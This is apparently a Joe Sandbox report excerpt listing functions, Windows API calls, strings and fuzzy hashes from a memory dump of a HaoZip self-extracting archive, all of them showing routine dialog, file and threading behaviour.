Function 001E9E02 Relevance: 19.7, APIs: 13, Instructions: 191
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32(?,?), ref: 001E9E72
GetDlgItem.USER32(?,000003EB), ref: 001E9E82
SetWindowTextW.USER32(00000000,?), ref: 001E9E98
GetDlgItem.USER32(?,000003EC), ref: 001E9EAB
SetWindowTextW.USER32(00000000,?), ref: 001E9EC1
GetDlgItem.USER32(?,000003EE), ref: 001E9ECB
SendMessageW.USER32(00000000,00000406,00000000,00000064), ref: 001E9EDB

Part of subcall function 001E9B6D: GetDlgItem.USER32(?,000003E9), ref: 001E9BDD
Part of subcall function 001E9B6D: SetWindowTextW.USER32(?,?), ref: 001E9C0A
Part of subcall function 001E9B6D: KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 001E9C14
Part of subcall function 001E9B6D: GetDlgItem.USER32(?,000003EA), ref: 001E9C2A
Part of subcall function 001E9B6D: SetWindowTextW.USER32(?,?), ref: 001E9C57
Part of subcall function 001E9B6D: EnableWindow.USER32(?,00000001), ref: 001E9C62
Part of subcall function 001E9B6D: GetDlgItem.USER32(?,000003EC), ref: 001E9C78
Part of subcall function 001E9B6D: KiUserCallbackDispatcher.NTDLL(00000000,00000000), ref: 001E9C80
Part of subcall function 001E9B6D: GetDlgItem.USER32(?,000003ED), ref: 001E9C8E
Part of subcall function 001E9B6D: EnableWindow.USER32(00000000,00000000), ref: 001E9C9A

SetWindowTextW.USER32(?,?), ref: 001E9EFB
GetDlgItem.USER32(?,000003EB), ref: 001E9F05
SetWindowTextW.USER32(00000000), ref: 001E9F1F
GetDlgItem.USER32(?,000003EB), ref: 001EA4ED
SetWindowTextW.USER32(00000000,002397B8), ref: 001EA50D

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Window$Item$Text$CallbackDispatcherEnableUser$MessageSend
String ID:
API String ID: 2377662985-0
Opcode ID: d3c5a7759f6c13e03148c7c2e3734f4e854e02df8d8cdf6ce513123fc07c43b5
Instruction ID: 6cc30f5db683b530c29fcbfaf84b21b31f26eee4b08f64503dfb51b4c8578039
Opcode Fuzzy Hash: d3c5a7759f6c13e03148c7c2e3734f4e854e02df8d8cdf6ce513123fc07c43b5
Instruction Fuzzy Hash: 8261D370300B85ABDB29EF65DC99AAEB7A9FF45701F00012DF61697191DB70A904CBA0

Function 001E9F25 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 275
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 001E9FF8
GetCurrentDirectoryW.KERNEL32(00000208,?,00000001,?,00000000), ref: 001EA01A
_wcslen.LIBCMT ref: 001EA035
_wcslen.LIBCMT ref: 001EA0B6
_wcslen.LIBCMT ref: 001EA106
GetDlgItem.USER32(?,000003EC), ref: 001EA284
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 001EA2B9
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 001EA2D8

Strings

/\ , xrefs: 001EA08F
Software\HaoZip SFX, xrefs: 001EA179, 001EA217

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$MessageSend$CurrentDirectoryItem
String ID: /\ $Software\HaoZip SFX
API String ID: 3049140925-2012402492
Opcode ID: 534b04611b9dd0bcfb60efbff4c955901904010af3a9ad76abe073b036a362d8
Instruction ID: 752a39ef80fad5b98f93ebb0ccbeb590f1f237c4f76776c6100401eb5617676f
Opcode Fuzzy Hash: 534b04611b9dd0bcfb60efbff4c955901904010af3a9ad76abe073b036a362d8
Instruction Fuzzy Hash: C8B142B19009999BCB24EB51CD95BEDB378BF50305F8040E9E60966092EB707F8CCF99

Function 001F5600 Relevance: 15.4, APIs: 10, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00000000,?,?,?,?,?,00000000,0022EB79,000000FF,?,001F5ACD,?,?), ref: 001F563B
_wcslen.LIBCMT ref: 001F56AA

Part of subcall function 001E2330: std::_Xinvalid_argument.LIBCPMT ref: 001E2335

InterlockedExchangeAdd.KERNEL32(00000000,00000001), ref: 001F58B8
InterlockedExchangeAdd.KERNEL32(00000000,000000FF), ref: 001F58C4
EnterCriticalSection.KERNEL32 ref: 001F58F2
SetEvent.KERNEL32(?), ref: 001F5907
LeaveCriticalSection.KERNEL32(?), ref: 001F591F
EnterCriticalSection.KERNEL32(?), ref: 001F5950
LeaveCriticalSection.KERNEL32(00000000), ref: 001F59C9
LeaveCriticalSection.KERNEL32(00000000), ref: 001F59E5

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked$EventInitializeXinvalid_argument_wcslenstd::_
String ID:
API String ID: 2466940856-0
Opcode ID: 8f05968ddbff853a243529c1b54a376a9a884c1f8bfba9e91dfcddd6dadf6c0a
Instruction ID: 28cbc1ac16d9509b18627400b91fffc6c44406e63e7c7ac2b8c6a63ae6c09b60
Opcode Fuzzy Hash: 8f05968ddbff853a243529c1b54a376a9a884c1f8bfba9e91dfcddd6dadf6c0a
Instruction Fuzzy Hash: 66D1D371900609DFDB18DF68D884BAEBBF5BF45324F20426DEA25EB391D7749900CBA0

Function 001E9593 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 150
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32(?,?), ref: 001E95DB
GetDlgItem.USER32(?,000003EC), ref: 001E95FF
IsWindow.USER32(00000000), ref: 001E9612
GetWindowTextW.USER32(00000000,?,00000104), ref: 001E9625
_wcslen.LIBCMT ref: 001E963C
IsWindow.USER32(00000000), ref: 001E9658
SetWindowTextW.USER32(00000000,?), ref: 001E9671

Strings

Software\HaoZip SFX, xrefs: 001E9720, 001E9725, 001E974F

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Window$Text$Item_wcslen
String ID: Software\HaoZip SFX
API String ID: 757413937-3997018891
Opcode ID: ee585ec7135d58f6ee33257238f96772b058f5ec95c99e6f5928f019127b9d8f
Instruction ID: 1e703e9bc4cd1848ea1faf71ac17e560446fb473fa77896251ae7e35b0766441
Opcode Fuzzy Hash: ee585ec7135d58f6ee33257238f96772b058f5ec95c99e6f5928f019127b9d8f
Instruction Fuzzy Hash: 51516275910A589BDB25FB21DCDDBEE73B8BF54300F4001A9E50A96191EF30AE89CF61

Function 0020794A Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001E1FBC: _wcslen.LIBCMT ref: 001E1FD5

_wcslen.LIBCMT ref: 00207976
_wcslen.LIBCMT ref: 0020798B

Part of subcall function 001EC600: _wcslen.LIBCMT ref: 001EC666

_wcslen.LIBCMT ref: 002079CB
_wcslen.LIBCMT ref: 00207A34

Strings

001, xrefs: 00207966
haozip%.2d.7z, xrefs: 002079AE
%03d, xrefs: 00207A17
sfxv, xrefs: 00207985, 0020798A, 00207992

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen
String ID: %03d$001$haozip%.2d.7z$sfxv
API String ID: 176396367-1215480101
Opcode ID: ae9fc7bdd613a4dee5cc9eeabfb0215c0a95674b807fb1adb07d2923a4d91fc2
Instruction ID: ff4c5d29a5e5b4860fd60db4656b532160a5ef87fdc13cd29ac0300287868874
Opcode Fuzzy Hash: ae9fc7bdd613a4dee5cc9eeabfb0215c0a95674b807fb1adb07d2923a4d91fc2
Instruction Fuzzy Hash: 7631A2B12187415FC711EF25DC5AA6FB3EDFFD4710F00491EF86582182DB7099558B92

Function 001EB57F Relevance: 12.1, APIs: 8, Instructions: 135
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxW.USER32(?,?,?,00000010), ref: 001EB631
CreateDialogParamW.USER32(00000000,?,?,Function_00005633,00000000), ref: 001EB68B
IsWindow.USER32(00000000), ref: 001EB69F
IsWindow.USER32(?), ref: 001EB6C0
IsDialogMessageW.USER32(?,?), ref: 001EB6CD
TranslateMessage.USER32(?), ref: 001EB6DB
DispatchMessageW.USER32(?), ref: 001EB6E5

Part of subcall function 001E5472: GetSystemMetrics.USER32(00000000), ref: 001E548F
Part of subcall function 001E5472: GetSystemMetrics.USER32(00000001), ref: 001E5495
Part of subcall function 001E5472: GetWindowRect.USER32(?,?), ref: 001E54A1
Part of subcall function 001E5472: SetWindowPos.USER32(?,000000FE,?,?,00000001,?,?,?,?,?,?,?,001E4F63,00000001), ref: 001E54E8

KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 001EB6F4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: MessageWindow$DialogMetricsSystem$CallbackCreateDispatchDispatcherParamRectTranslateUser
String ID:
API String ID: 1301809395-0
Opcode ID: 28c51fe1c6b36b8b9691f3c9b07937ccca3f62b710030ccf18bd8783f65f8e82
Instruction ID: b6327996e7d22de934d4b263bb526362edb3e99fa492ac6da69272a416ba4427
Opcode Fuzzy Hash: 28c51fe1c6b36b8b9691f3c9b07937ccca3f62b710030ccf18bd8783f65f8e82
Instruction Fuzzy Hash: 69417F71A04A89ABCF14EBB6DCD9CAFB3BDAF58700B504529F512E3091DB34D908CB21

Function 001F81F0 Relevance: 10.9, APIs: 7, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00000000,1FE05385), ref: 001F8243
LeaveCriticalSection.KERNEL32(00000000,1FE05385), ref: 001F83AD
GetTempPathW.KERNEL32(00000105,?), ref: 001F83DC
GetLongPathNameW.KERNELBASE(?,?,00000208), ref: 001F8419
_wcslen.LIBCMT ref: 001F844A
_wcslen.LIBCMT ref: 001F852D
LeaveCriticalSection.KERNEL32(00000000), ref: 001F8631

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalSection$LeavePath_wcslen$EnterLongNameTemp
String ID:
API String ID: 1636596023-0
Opcode ID: 32e7f99f99b6a84db97da887f0e3d6ae9fa494dfad0eb7797e1084682c161c8d
Instruction ID: feb19857cb3b52fbf3cc8c84e13bb474c3467db0427328da4c08ddc3e11ca5cd
Opcode Fuzzy Hash: 32e7f99f99b6a84db97da887f0e3d6ae9fa494dfad0eb7797e1084682c161c8d
Instruction Fuzzy Hash: C2D1D7B1A006099FCB14DF74DC94ABE73A8BF45320F210729E626D72E1EF30D9558B91

Function 001F3A90 Relevance: 7.8, APIs: 5, Instructions: 250fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,1FE05385,?,?,?), ref: 001F3AEC
GetLastError.KERNEL32 ref: 001F3B28
GetFileSize.KERNEL32(00000000,?), ref: 001F3B43
GetLastError.KERNEL32 ref: 001F3B50
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000,00000000), ref: 001F3C71

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: File$ErrorLastWrite$Size
String ID:
API String ID: 1341956725-0
Opcode ID: e0684755e981fb72576b8dd88da5ba52a358083cfdae899889e7fcc7f19f668b
Instruction ID: 2172750082df9dc4bc4b870c5526b0fa674e1d7f7891d99e955b62fcbe687687
Opcode Fuzzy Hash: e0684755e981fb72576b8dd88da5ba52a358083cfdae899889e7fcc7f19f668b
Instruction Fuzzy Hash: 798172B5A002099FDB18CF65D854BBEBBF4FF49320F10462EF926A7290D774A944CB61

Function 001F5C10 Relevance: 7.6, APIs: 5, Instructions: 102threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,1FE05385), ref: 001F5C61
InterlockedExchangeAdd.KERNEL32(00000004,00000001), ref: 001F5C7D
LeaveCriticalSection.KERNEL32(?,1FE05385), ref: 001F5CDF
ResetEvent.KERNEL32(?), ref: 001F5D19
ResumeThread.KERNELBASE(00000000), ref: 001F5D25

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalSection$EnterEventExchangeInterlockedLeaveResetResumeThread
String ID:
API String ID: 2882626427-0
Opcode ID: a37306afec1f53fc377743f26fa0867e4618d99823bf52f1f09dfd9661f471b5
Instruction ID: 4523873091c7e8e4c0e3dfc45fbb37e520f1543ad611975da654e0c44c7a1b39
Opcode Fuzzy Hash: a37306afec1f53fc377743f26fa0867e4618d99823bf52f1f09dfd9661f471b5
Instruction Fuzzy Hash: 9931DE71600B089FC724CF68D998F6ABBF9FF05724F104618E66A97791D771E940CB60

Function 0020146A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(shlwapi.dll,001E1DFC), ref: 0020147D
GetProcAddress.KERNEL32(00000000,StrCmpLogicalW), ref: 00201492

Strings

shlwapi.dll, xrefs: 00201478
StrCmpLogicalW, xrefs: 0020148C

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: StrCmpLogicalW$shlwapi.dll
API String ID: 2574300362-2138359078
Opcode ID: 4bdb1a09730c55c32bb670ead51d119ad1a8d2117bd418bbfcbb5218db0d03c9
Instruction ID: cd88dd7c66c9b7f8d9354db840c0335a647671bc6f1a015df9e59138f446d2cf
Opcode Fuzzy Hash: 4bdb1a09730c55c32bb670ead51d119ad1a8d2117bd418bbfcbb5218db0d03c9
Instruction Fuzzy Hash: 27D09EB8A603019FDB44CF65BC1D72636E8B74A713F564025E804D29A4E774805CCF21

Function 001F73F0 Relevance: 6.2, APIs: 4, Instructions: 189fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,1FE05385,00000000,00000000,?,?,?,00000000,0022F038,000000FF,?,001F801D), ref: 001F7443
GetFileAttributesW.KERNELBASE(?,1FE05385,?,00000000,?,?,?,?,0022F038,000000FF,?,001F9773), ref: 001F7557
GetFileAttributesW.KERNELBASE(?,?,1FE05385,?,00000000), ref: 001F75A7
MoveFileW.KERNEL32 ref: 001F7674
MoveFileW.KERNEL32(?,?), ref: 001F771D

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: File$Attributes$Move
String ID:
API String ID: 3839737484-0
Opcode ID: 7b519338f7fb5dc0c717d218834e80a6c02cb9fa18e12ef45ee8782250df8ae2
Instruction ID: 75148e6904799babe0b4f2416b20f1fffea5cee28dd8f7bb539f633831805109
Opcode Fuzzy Hash: 7b519338f7fb5dc0c717d218834e80a6c02cb9fa18e12ef45ee8782250df8ae2
Instruction Fuzzy Hash: D651E271A14209DFCB14DFA8D988BFEBBB5EF49324F200629E515E72C0D7359A44CBA0

Function 001E9357 Relevance: 6.2, APIs: 4, Instructions: 164windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,?,?,00000024), ref: 001E9485
LoadIconW.USER32(00000000,0000006B), ref: 001E949F
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 001E94B5
ShowWindow.USER32(?,00000000), ref: 001E94D4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Message$IconLoadSendShowWindow
String ID:
API String ID: 3466360672-0
Opcode ID: 7403a0aa6521cc14f03bda7ec0916a847679eb12c3ccdd056121a4739dd50d53
Instruction ID: e955cab553320b048b76b617841212b3aeb79c07666980f60e85dbf041b72d96
Opcode Fuzzy Hash: 7403a0aa6521cc14f03bda7ec0916a847679eb12c3ccdd056121a4739dd50d53
Instruction Fuzzy Hash: 7C518370104F849FD725EB72D999AAFB3E9AF54300F00492DF0AB47192DB74A948CB51

Function 001E74A2 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 555COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 001E74AC
SetFileApisToOEM.KERNEL32 ref: 001E74DB

Strings

!, xrefs: 001E7627

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ApisFileH_prolog3_catch_
String ID: !
API String ID: 1726844025-2657877971
Opcode ID: 530af9932abc523745681f75d36ebc8eb9f43585ac295a789ad3f9bd1d1f730b
Instruction ID: 5fc1e225c088c41c028592003e922e8f944c609dd3aef1cb134b07e69997eb6e
Opcode Fuzzy Hash: 530af9932abc523745681f75d36ebc8eb9f43585ac295a789ad3f9bd1d1f730b
Instruction Fuzzy Hash: 76223E31900AA99BDB28EB65CC91BEDB375BF64300F1041A9E44E671D2EF305E89CF51

Function 001F5480 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(001EB2CE,40000000,00000001,00000000,00000003,00000001,00000000,1FE05385,?,"&%0),?,?,?,?,0022E648,000000FF), ref: 001F54D5
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,00000001,00000000,?,"&%0)), ref: 001F553A

Strings

"&%0), xrefs: 001F549E

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CreateFile
String ID: "&%0)
API String ID: 823142352-1527271695
Opcode ID: 019602b32bdc660de8564b27d984bc6db0370c59acad2237c84886148495b2a3
Instruction ID: baf5b7b0f159e7394684148c4a113222652d0a662c83b19f1b0c1f738408d7ac
Opcode Fuzzy Hash: 019602b32bdc660de8564b27d984bc6db0370c59acad2237c84886148495b2a3
